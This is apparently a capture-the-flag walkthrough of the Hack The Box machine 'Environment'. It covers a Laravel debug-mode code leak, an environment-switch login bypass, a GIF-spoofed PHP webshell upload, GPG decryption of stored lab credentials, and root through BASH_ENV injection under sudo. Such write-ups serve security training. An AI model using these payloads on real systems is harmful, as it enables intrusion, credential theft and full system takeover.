Environment¶

Initial Scan¶

nmap -sC -sV -Pn -oN scan_initial 10.10.x.x

Enumeration¶

The web application is a Laravel application at http://environment.htb/.

Laravel Debug Mode¶

Removing the remember parameter from the POST /login request triggered an unhandled exception, leaking application code:

Route::post('/login', function (Request $request) {
    $email = $_POST['email'];
    $password = $_POST['password'];
    $remember = $_POST['remember'];

    if($remember == 'False') {
        $keep_loggedin = False;
    } elseif ($remember == 'True') {
        $keep_loggedin = True;
    }

    if($keep_loggedin !== False) {
    // TODO: Keep user logged in if he selects "Remember Me?"
    }

When remember is neither 'False' nor 'True', the variable $keep_loggedin is undefined, triggering a second exception that leaked more code.

Exploitation¶

CVE-2024-21534 - Laravel Environment Switch¶

Appending ?--env=preprod to the login URL switches the application environment:

POST /login?--env=preprod

In preprod mode, the application auto-authenticates as admin:

if(App::environment() == "preprod") {
    $request->session()->regenerate();
    $request->session()->put('user_id', 1);
    return redirect('/management/dashboard');
}

This grants access to the admin dashboard at /management/dashboard as user Hish.

Webshell Upload¶

The dashboard has a file upload feature. Uploaded a PHP webshell using GIF header spoofing:

GIF89a;
<?
system($_GET['cmd']);
?>

Saved as .php.gif, then in the intercept removed the gif extension to leave .php. which resolves to .php on the server.

user.txt: ***

SSH as hish¶

Found a GPG-encrypted backup file. Copied GPG keys and decrypted:

cp -r /home/hish/.gnupg /tmp/
gpg --homedir ./.gnupg --output /tmp/test --decrypt /home/hish/backup/keyvault.gpg

Decrypted contents:

PAYPAL.COM -> Ihaves0meMon$yhere123
ENVIRONMENT.HTB -> marineSPm@ster!!
FACEBOOK.COM -> summerSunnyB3ACH!!

ssh hish@environment.htb
# password: marineSPm@ster!!

Privilege Escalation¶

BASH_ENV Path Hijacking¶

sudo -ll

User hish may run the following commands on environment:
    RunAsUsers: ALL
    Commands:
        /usr/bin/systeminfo

The sudo entry has env_keep+="ENV BASH_ENV", allowing environment variable injection.

echo 'echo pwned >&2; /bin/bash' > /tmp/.payload
chmod +x /tmp/.payload

export BASH_ENV=/tmp/.payload
sudo /usr/bin/systeminfo

This spawns a root shell when systeminfo executes.

Flags¶

user.txt: *** root.txt: ***